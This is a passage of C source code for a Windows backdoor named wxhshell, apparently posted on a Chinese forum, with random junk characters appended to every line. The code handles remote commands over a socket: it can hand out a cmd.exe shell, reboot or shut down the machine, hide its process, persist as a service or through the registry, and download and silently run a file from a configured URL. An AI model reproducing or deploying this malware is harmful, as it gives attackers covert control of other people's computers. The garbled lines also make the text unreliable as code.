      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jQp7TdvLE$  
    break; =~i~SG/f  
  } xi.L?"^/!  
  // 安装 y-TS?5Dr]  
  case 'i': { L`$MOdF{_  
    if(Install()) rVx%"_'*-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ",c(cYVW  
    else cboue LEt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w>:~Ev]  
    break; $vC!Us{z  
    } "?Eh_Dw  
  // 卸载 s\6kXR  
  case 'r': { .&AS-">Z  
    if(Uninstall()) ~L G).  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8]N  
    else pFLR!/J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9~^%v zM  
    break; %8)GuxG*  
    } tTT./-*0  
  // 显示 wxhshell 所在路径 )pS1yYLj  
  case 'p': { 4|ryt4B  
    char svExeFile[MAX_PATH]; aD aQ 7i  
    strcpy(svExeFile,"\n\r"); 0B^0,d(s  
      strcat(svExeFile,ExeFile); CF`tNA3fxm  
        send(wsh,svExeFile,strlen(svExeFile),0); d3fF|Wp1  
    break; MVW2 %6  
    } ]OE{qXr{  
  // 重启 0jsU^m<g  
  case 'b': { 9OeY59 :  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J 00%,Ju_  
    if(Boot(REBOOT)) >;N0( xB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3le/(=&1  
    else { ,!BiB*  
    closesocket(wsh); h\k!X/  
    ExitThread(0); GoI3hp(  
    } ]bG8DEwD  
    break; `zNvZm-E  
    } p!MOp-;-  
  // 关机 }xx[=t=nUf  
  case 'd': { IS`1}i$1%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {%$eq{~m  
    if(Boot(SHUTDOWN)) xF'9`y^]!@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FqOV/B /z2  
    else { Y|t]bb  
    closesocket(wsh); bJJB*$jW=  
    ExitThread(0); ^mLZT*   
    } ;Ocih<4k  
    break; N 4$!V}pp  
    } }[P1Va[!  
  // 获取shell Ux~rBv''  
  case 's': {  7(;M  
    CmdShell(wsh); _L mDF8Q(  
    closesocket(wsh); X6jW mo8]  
    ExitThread(0); .]+oE$,!  
    break; Y%v?ROql  
  }  `)`J  
  // 退出 d`D<PT(\  
  case 'x': { q<L>r?T[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ht UFl  
    CloseIt(wsh); };[~>Mzl  
    break; | I_,;c  
    } TSHsEcfO  
  // 离开 (|_1ku3!  
  case 'q': { #?)g?u%g=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SomA`y+ERn  
    closesocket(wsh); F V8K_xj  
    WSACleanup(); M),i4a?2  
    exit(1); wu5]S)?*  
    break; Pa%;[hbn  
        } e_Na_l]  
  } EQDs bG0x  
  } c"w}<8  
[hs_HYqJ  
  // 提示信息 _&TA|Da  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %./vh=5)  
} H]V@Q~?e  
  } z;6 Tp  
gF( aYuk  
  return; .CI { g2  
} q@K;u[zFK  
rPoPs@CBD  
// shell模块句柄 vd Fy}#X  
int CmdShell(SOCKET sock) *NdSL  
{ `y5?lS*  
STARTUPINFO si; Ca]+*Eb9z{  
ZeroMemory(&si,sizeof(si)); R[Q`2ggG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t|Cp<k]B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uGIA4CUm  
PROCESS_INFORMATION ProcessInfo; 1!,xB]v1Ri  
char cmdline[]="cmd"; 3.M<ATe^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P?GHcq$\  
  return 0; {&,9Zy]"S  
} m6J7)Wp  
7%C6hEP/*W  
// 自身启动模式 Az.(tJ X"  
int StartFromService(void) 5z8CUDt 0  
{ n?vw|'(}  
typedef struct }eUeADbC  
{ \}SA{)  
  DWORD ExitStatus; /t=R~BJu  
  DWORD PebBaseAddress; )N`a4p  
  DWORD AffinityMask; uK6`3lCD  
  DWORD BasePriority; xc[Lb aBG  
  ULONG UniqueProcessId; lub(chCE[  
  ULONG InheritedFromUniqueProcessId; _5'OQ'P2  
}   PROCESS_BASIC_INFORMATION; g 4,>cqRkq  
OfC0lb:c  
PROCNTQSIP NtQueryInformationProcess; s&MfC\  
U4]>8L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +yX\!H"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fHTqLYd-  
KI~BjP\e  
  HANDLE             hProcess; QAYhAOS|e  
  PROCESS_BASIC_INFORMATION pbi; %?K1X^52d  
UxI0Of&:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [MfKBlA  
  if(NULL == hInst ) return 0; DC4,*a~  
?4%'6R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t_HS0rxG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .#zmX\a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nQ4s  
@!z9.o;  
  if (!NtQueryInformationProcess) return 0; VT1Nd  
J(+I`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x&qC~F*QR%  
  if(!hProcess) return 0; Jolr"F?  
E)liuu! qI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OYKeu(=L  
tFLdBv!=:^  
  CloseHandle(hProcess); |_Vi8Ly  
zlC|Spaf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Afm GA9  
if(hProcess==NULL) return 0; pC 5J '@  
}HB)%C50.  
HMODULE hMod; 8F|8zX&  
char procName[255]; >5C|i-HX  
unsigned long cbNeeded; $ 2'AY  
`$j"nP F_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u^H:z0  
JBa( O- T  
  CloseHandle(hProcess); \DsP '-t  
.]+Z<5Fo  
if(strstr(procName,"services")) return 1; // 以服务启动 !yAg!V KY  
5 _X|U*+5  
  return 0; // 注册表启动 Sc Uh -y_  
} /Po't(-x  
2Cd#~  
// 主模块 k fER  
int StartWxhshell(LPSTR lpCmdLine) ld58R  
{ f,GF3vu"  
  SOCKET wsl; jUjgxP*7m  
BOOL val=TRUE; t}LV[bj1u  
  int port=0; 2\h]*x% :  
  struct sockaddr_in door; ~nk{\ rWO  
S;DqM;Q  
  if(wscfg.ws_autoins) Install(); )-$Od2u2c  
9-)D"ZhLe  
port=atoi(lpCmdLine); ]k~k6#),;  
<4,hrx&.  
if(port<=0) port=wscfg.ws_port; ,4$ZB(\  
 9?c0cwP?  
  WSADATA data; t,$4J6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vt0XCUnK  
p9w<|ZQ]:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   llVm[7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V_pWf5F  
  door.sin_family = AF_INET; P,y*H_@k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UJ-IK|P.#  
  door.sin_port = htons(port); ]i'hCa $$  
6XyhOs%/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4QbDDvRQ^  
closesocket(wsl); ^Glmg}>q  
return 1; &Rw4ub3  
} ql, k5.l  
(. ~#bl  
  if(listen(wsl,2) == INVALID_SOCKET) { bdh6ii  
closesocket(wsl); #rSm;'%,  
return 1;  QDCu  
} 0M^7#),  
  Wxhshell(wsl); ! 6yo D  
  WSACleanup(); 6gz !K"S  
.&O}/B  
return 0; {+~}iF<%  
;Z]i$Vi_r  
} ?Fgk$ WqC  
hwkm'$}  
// 以NT服务方式启动 po@=$HK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tU2 8l.  
{ vR$[#`X  
DWORD   status = 0; 'TWZ@8h~  
  DWORD   specificError = 0xfffffff; xa+=9=<AQ  
R;+vE'&CO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ??& Q"6Oe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &2-dZK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &DoYz[q  
  serviceStatus.dwWin32ExitCode     = 0; !{'C.sb?~  
  serviceStatus.dwServiceSpecificExitCode = 0; aO :wedfl  
  serviceStatus.dwCheckPoint       = 0; G'b*.\=  
  serviceStatus.dwWaitHint       = 0; }F3}-5![  
ciRn"X=l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D:`b61sWi_  
  if (hServiceStatusHandle==0) return; (]* Ro 8  
? &ie;t<7  
status = GetLastError(); '?]B ui  
  if (status!=NO_ERROR) O_%X>Q9  
{ \.c   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LWG%]m|C  
    serviceStatus.dwCheckPoint       = 0; &''lOS|  
    serviceStatus.dwWaitHint       = 0; (tQ#('(w  
    serviceStatus.dwWin32ExitCode     = status; "G. L)oD  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9[yW&t;#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ~DYUI#x  
    return; N!R>L{H>  
  } ;Fw{p{7<  
lYz{# UX}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m2wGg/F5  
  serviceStatus.dwCheckPoint       = 0; _P6e%O8C#  
  serviceStatus.dwWaitHint       = 0; 3[mVPV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .Jk[thyU  
} ^P30g2gv>  
vv0A5p8H  
// 处理NT服务事件,比如:启动、停止 o+{]&V->gN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a<%Ivqni  
{ X@l>mAk  
switch(fdwControl) 9H^$cM9C  
{ MTm}qx@L  
case SERVICE_CONTROL_STOP: a3t[Tk;  
  serviceStatus.dwWin32ExitCode = 0; P)7:G?OTx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \@")2o+  
  serviceStatus.dwCheckPoint   = 0; 9!CD25u  
  serviceStatus.dwWaitHint     = 0; \0gU)tVZ  
  { zx:Qz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u-v/`F2wN  
  } L1P.@hJ  
  return; n*twuB/P 1  
case SERVICE_CONTROL_PAUSE: )1#J4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -U&k%X   
  break; p6)Jzh_/  
case SERVICE_CONTROL_CONTINUE: ]70V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yU ?TdM\  
  break; hnOo T? V  
case SERVICE_CONTROL_INTERROGATE: IRWVoCc9/\  
  break; p7H0|>  
}; Sv&_LZ-"P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =$kSvCjP  
} 2G=prS`s  
y Skz5K+|g  
// 标准应用程序主函数 GYp}V0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "d1~(0=6<m  
{ .W;,~.l  
bF_SD\/  
// 获取操作系统版本 l Vb{bO9-O  
OsIsNt=GetOsVer(); =;HC7TUM&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &E& _Z6#  
-jXO9Q  
  // 从命令行安装 Epo/}y  
  if(strpbrk(lpCmdLine,"iI")) Install(); ks3ydHe`  
n-djAhy  
  // 下载执行文件 H3Ws$vl9n  
if(wscfg.ws_downexe) { l~",<bTc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hj4!* c  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5~,usA*  
} ut SW>  
=}F}XSvXH  
if(!OsIsNt) { d8N{sT  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,,}& Q%5  
HideProc(); l~mC$>f  
StartWxhshell(lpCmdLine); eMHBY6<~=  
} $U*b;'o  
else Pp{Re|.  
  if(StartFromService()) KE$I!$zO  
  // 以服务方式启动 _bsAF^ ;  
  StartServiceCtrlDispatcher(DispatchTable); UnVYGch  
else -l(G"]tRB  
  // 普通方式启动 CdZS"I  
  StartWxhshell(lpCmdLine); g \;,NW^  
SN#Cnu}  
return 0; o5h*sQ9  
}
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只看该作者 1 发表于: 2006-10-10
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